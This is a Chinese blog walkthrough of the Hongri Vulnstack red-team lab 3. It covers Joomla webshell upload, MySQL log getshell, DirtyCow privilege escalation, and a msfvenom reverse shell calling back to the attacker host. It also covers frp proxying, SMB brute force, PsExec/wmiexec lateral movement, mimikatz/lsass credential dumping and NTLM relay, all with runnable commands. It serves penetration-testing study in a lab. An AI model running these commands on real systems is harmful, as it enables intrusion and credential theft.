内网靶场--红日靶场三
一、靶场信息
红日安全出品——ATT&CK实战系列——红队实战(三)
靶场详情地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
下载地址:https://pan.baidu.com/s/1iy4MIy6ni6d9F3iypeCYVQ 密码: 7mhi
下载后虚拟机导入即可,可以先把web1-ubantu、web-centos开启,其他三台等用的在开启
二、外网阶段
1、先看web-centos这台主机,它使用了桥接模式,可以使用nmap扫描一下地址,也可以直接进入主机查看ip,我这直接进入主机看
IP:192.168.1.103
2、对192.168.1.103这台机子进行信息收集,简单一扫,扫出了ssh、mysql弱口令和80端口。攻击方向:ssh爆破、mysql查找数据或getshell、80站点存在getshell
3、先查看网站情况,识别出是Joomal框架
4、查看Joomal框架历史漏洞,使用工具扫 https://github.com/OWASP/joomscan,在kali上使用好一点。得到版本号、路径信息、配置文件泄露信息
5、经过收集,joomla可以通过后台模板上传进行getshell。但是此时已经有数据库账号密码了,尝试一下mysql的getshell
mysql查询日志getshell
1、mysql中getshell的方式有好几种,但是最后的还是日志查询getshell,受到的限制比价小。
2、日志查询getshell的命令如下
查看开启情况:show variables like '%general%'; 开启查询日志:set global general_log=on; 设置查询日志存储路径:set global general_log_file='D:\\\\phpstudy\\www\\shell.php'; 查询一句话:select '<?php phpinfo();?>'; 最后关闭查询日志:set golbal general_log=off;
3、但是很可惜,没有权限
Joomla后台getshell
1、joomla后台getshell是通过修改模板进行getshell的需要一个后台权限,此时已经拥有数据库的root权限,往数据库添加一个用户就行了
2、但是怎么能知道数据库中那张表保存登录的数据呢?数据一般都是加密存储的要怎么加密或解密呢?此时可以去官网中寻找答案
https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
给出了sql语句,修改对应的表名即可
INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
3、登录后台 admin2 secret
4、模板getshell
返回查看文件时发现没有内容,重新shell放上去编辑区就好了,然后保存
5、连接shell,地址为 http://192.168.1.103/templates/beez3/shell.php,记得修改为自己的ip
6、绕过disable_fuctions。连接后发现执行不了命令,此时需要用到蚁剑的一个插件,没有的去蚁剑的插件市场找就好啦
至此进入内网
三、内网阶段
一般拿到一台主机后,首先要做的是收集当前主机信息,如查看配置文件、密码本、网卡信息等
find /tmp/ -type f|egrep -v "*.js"|egrep -v "*.css"|egrep -v "*.html"|egrep -v "*.htm"|egrep -v "*.woff"|egrep -v "*.jar"|egrep -v "*.java"|egrep -v "*.class"|egrep -v "*.properties"|egrep -v "*.MF"|egrep -v "*.tmp"|egrep -v "*.vm"|egrep -v "*.svn*"|egrep -v "*LICENSE*"|egrep -v "*.exe"|egrep -v "*.xml"|egrep -v "*.txt"|egrep -v "*.svg"|xargs egrep -s -i "*user:|*user=|username:|username=|*pass:|*pass=|password:|password=|passwd:|passwd=|账号:|账号:|用户名:|用户名:|密码:|密码:" --color
ps:不知道为啥上面的命令找不出密码
3.1、主机信息收集
网卡信息:
版本信息:
不能出网:
密码收集:
mysql:root 123、testuser cvcvgjASD!@
未知账号密码(/tmp/mysql/test.txt):
adduser wwwuser
passwd wwwuser_123Aqx
3.2、发现其他主机账号密码
1、在/tmp/mysql/test.txt中保存了账号密码信息,在前面的端口扫描中正好192.168.1.103这台主机开启了22端口
2、使用密码尝试连接,可以连接得上
3.3、脏牛提权
1、上传linux提权检测脚本,下载地址:https://github.com/The-Z-Labs/linux-exploit-suggester
2、检测出CVE-2016-5195,脏牛提权。
脏牛提权概述:该漏洞是Linux的一个本地提权漏洞,发现者是Phil Oester,影响>=2.6.22的所有Linux内核版本,修复时间是2016年10月18号。该漏洞的原因是get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。当我们向带有MAP_PRIVATE标记的只读文件映射区域写数据时,会产生一个映射文件的复制(COW),对此区域的任何修改都不会写回原来的文件,如果上述的竞态条件发生,就能成功的写回原来的文件。比如我们修改su或者passwd程序就可以达到root的目的。
3、工具地址:https://github.com/FireFart/dirtycow
4、将dirty.c文件上传到192.168.1.103这台主机中,执行gcc -pthread dirty.c -o dirty -lcrypt 命令编译生成 dirty 可执行文件,执行 ./dirty password 进行提权
gcc -pthread dirty.c -o dirty -lcrypt
5、使用su进行用户切换
su firefart
密码:password
6、接下来继续对192.168.1.103这台主机进行信息收集,然而没什么东西
7、整理一下收集成果。
web入口shell:主机不出网
192.168.1.103:主机出网
密码收集:123,cvcvgjASD!@,wwwuser_123Aqx
用户名:root ,testuser,wwwuser
内网网段:192.168.93.0/24
3.3、横向攻击
所谓横向攻击就是对当前机器所在网段中的其他主机进行攻击。攻击前首先要进行内网主机存活扫描、端口扫描等,扫描方式有很多,比如上线cs/msf,上传fscan工具进行扫描等
3.3.1、内网信息收集
我这里通过msf上线进行内网主机扫描。
1、msf上线,可出网(192.168.1.103)这台主机
生成木马,并上传到攻击机中,本地kali的ip为192.168.1.104
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.104 LPORT=4444 -f elf > shell.elf
上传木马到攻击机,并赋予执行权限,一般都上传到tmp目录中
chmod +x shell.elf
./shell.elf
开启msf进行监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.104
set lport 4444
run
2、msf配置路由,进行内网smb存活扫描,可以适当调整扫描线程,默认1
run autoroute -s 192.168.93.0/24
background
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.0/24
set threads 10
exploit
3、扫描到三台主机10,20,30,并且存在域TEST
3.3.2、横向攻击
frp反向代理配置:
进行横向攻击前先搭一个反向代理吧,我这里使用的是frp,根据需求下载对应版本,实际中可能要考虑免杀。下载地址:https://github.com/fatedier/frp/releases/tag/v0.51.2
服务器端(kali):
[common]
bind_addr = 0.0.0.0
bind_port = 3333
token = Talent
客户端(受害机192.168.1.103):
[common]
server_addr = 192.168.1.104
server_port = 3333
token = Talent
[http_proxy8]
type = tcp
remote_port = 50002
plugin = socks5
plugin_user = aaa
plugin_passwd = Aaa
连接成果:
解法1:smb密码爆破
smb密码爆破就得看个人的字典了,我字典没该靶场的smb密码(哈哈),所以密码是看别的佬的。
1、msf进行smb密码密码爆破,得到20和30这两台主机的密码 administrator 123qwe!ASD
use auxiliary/scanner/smb/smb_login set smbuser administrator set pass_file /root/tools/dict/vul-pass.txt
set rhosts 192.168.93.20
run
PsExec smb利用
msf进行登录,这里主要使用了PsExec进行利用(我使用kali2021的msf测试不成功,别人使用kali2019的msf能成功)
参考:https://www.cnblogs.com/tomyyyyy/p/14667204.html
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.20
set smbuser administrator
set smbpass 123qwe!ASD
run
kali正向代理配置
kali配置代理主要使用了kali自带的proxychains这款工具,这款工具需要修改配置文件/etc/proxychains.conf
cp /etc/proxychains4.conf /etc/proxychains.conf #因为etc目录下没有文件proxychains.conf所以要copy一下,如果有就不用啦
vi /etc/proxychains.conf
#滑到最后写入 socks5 192.168.1.104 50002 aaa Aaa
wmiexec smb利用
WMI(Windows Management Instrumentation,Windows 管理规范)是一项核心的 Windows 管理技术;用户可以使用 WMI 管理本地和远程计算机。
作用:WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI,工具软件和脚本程序可以方便地读写WMI。
WMI 可以管理本地和远程计算机,攻击者使用 wmi 攻击时 windows 系统默认不会在日志中记录这些操作,可以做到无日志、攻击脚本无需写入到磁盘,增加了隐蔽性。
wmiexec下载地址:https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
python3 -m pip install . (pip install . 两个空格)
在我使用kali进行安装pip install安装时提示下载pip3,下载后出现包冲突,但是包冲突并没有影响wmiexec.py
wmiexec连接,连接后就行正常输入命令啦
proxychains4 python3 wmiexec.py -debug 'administrator:123qwe!ASD@192.168.93.20'
拿到主机后正常的信息收集咯。在域内,域控一般就是dns的地址
查找域控的一些命令
查看域控制器机器名 nltest /DCLIST:124-hack
查看域控制器的主机名 nslookup -type=SRV _ldap._tcp
查看当前时间 net time /domain
查看域控制器组 net group "Domain Controllers" /domian
查看域控制器机器名 netdom query pdc
mimikatz获取凭证
获取凭证的方式也有很多种,可以直接上传mimikatz上去,也可以dump下来到本地种解密
方式一:使用微软自带的工具procdump,下载地址https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
将lsass.dmp文件方法mimikatz所在目录,执行
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" "exit"
方式二:本地执行,可以上传到目标系统或使用3389复制过去
通过smb共享mimikatz
smbclient //192.168.93.20/C$ -U administrator
put mimikatz.exe
3389复制
查看是否开启3389远程桌面
#查看是否开启
netstat -an | find “3389”
#开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#关闭
https://www.cnblogs.com/Fluorescence-tjy/p/9835743.html
win主机配置代理,连接192.168.93.20远程桌面
下载安装Proxifier,配置。下载使用地址:https://blog.zgsec.cn/index.php/archives/278/
复制mimikatz,已经是管理员权限了直接运行
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit" > log.log
抓到域控制器的密码zxcASDqw123!!
连接域控
使用wmiexec连接
proxychains4 python3 wmiexec.py -debug 'administrator:zxcASDqw123!!@192.168.93.10'
在正常HW攻防过程中,还会收集域控所管理的终端数量、数据库、密码本等信息进行战果的扩大
解法2:mssql xp_dirtree NTLM Relay攻击
通过前面收集到的数据库密码进行横向密码喷射,192.168.93.20这台主机的mssql能使用testuser/cvcvgjASD!@ 进行登录,但是由于权限问题无法执行xp_cmdshell。
具体原因由于篇幅问题,单独拿一篇来写,简单来说就是MSSQL 协议可以携带 NTLM 认证的三类消息( NTLMv1 NTLMv2 NTLMv2 session)
工具:https://github.com/lgandx/Responder/
python 2.6.x使用2.3.3.0版本(修改settings.py内容),python 2.7.x使用2.3.4.0版本
修改原因:因为subprocess.check_output()
函数在Python 2.6.x版本中是不可用的。这个函数是在Python 2.7版本中引入的,所以当你使用Python 2.7.x版本时,代码可以正常运行,但在使用Python 2.6.x版本时会出错。
process = subprocess.Popen(["ifconfig", "-a"], stdout=subprocess.PIPE)
NetworkCard, _ = process.communicate()
process2 = subprocess.Popen(["cat", "/etc/resolv.conf"], stdout=subprocess.PIPE)
DNS,_ = process2.communicate()
process3 = subprocess.Popen(["netstat", "-rn"], stdout=subprocess.PIPE)
RoutingInfo,_ = process3.communicate()
使用:
脚本扫描域内机器的 SMB 签名的开放情况,域控默认开启,其他默认关闭,工具所在路径/Responder-2.3.3.0/tools/RunFinger.py
python RunFinger.py -i 192.168.93.0/24
利用 MultiRelay.py 攻击,获得目标主机的 shell,工具所在路径/Responder-2.3.3.0/tools/MultiRelay.py
python MultiRelay.py -t 192.168.93.30 -u ALL
利用Responder.py 攻击,获取目标机器的NTLM v2 hash值,工具所在路径/Responder-2.3.3.0/Responder.py
python Responder.py -I eth0
使用MultiRelay或Responder运行监听后,要触发NTLM,使用msf触发或连接数据库手动触发
手动触发,这里的IP是你在那个主机上执行MultiRelay或Responder就使用那个主机的ip,靶场中的两台Linux主机都能使用
EXEC master.sys.xp_dirtree '\\192.168.93.100\simblog.txt',0,1;
msf触发
use auxiliary/admin/mssql/mssql_ntlm_stealer
set rhosts 192.168.93.20
set smbproxy 192.168.93.100
set username testuser
set password cvcvgjASD!@
run
不过在测试过程中我只获取到了NTLM hash值,通过MultiRelay获取不到shell,可能环境问题吧。
总结:
这个靶场还是学习到不少东西的(大佬除外)。包括但不限于:指纹识别cms到getshell、主机信息收集、正反向代理、脏牛/Ubuntu提权、smb扫描到域、NTLM Relay攻击等。特别是NTLM Relay攻击花费了好多时间。期间还尝试了cs上线linux、正反向代理上线Cs/Msf等。文章写得不多,上下文逻辑衔接还有点乱,佬们见谅。继续加油吧!
参考:
https://blog.csdn.net/qq_36241198/article/details/120950237
https://blog.csdn.net/qq_60115503/article/details/124120094
https://xz.aliyun.com/t/3560#toc-0
https://github.com/jas502n/sangfor/blob/master/1earn/Security/RedTeam/OS%E5%AE%89%E5%85%A8/%E5%AE%9E%E9%AA%8C/NTLM%E4%B8%AD%E7%BB%A7.md
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~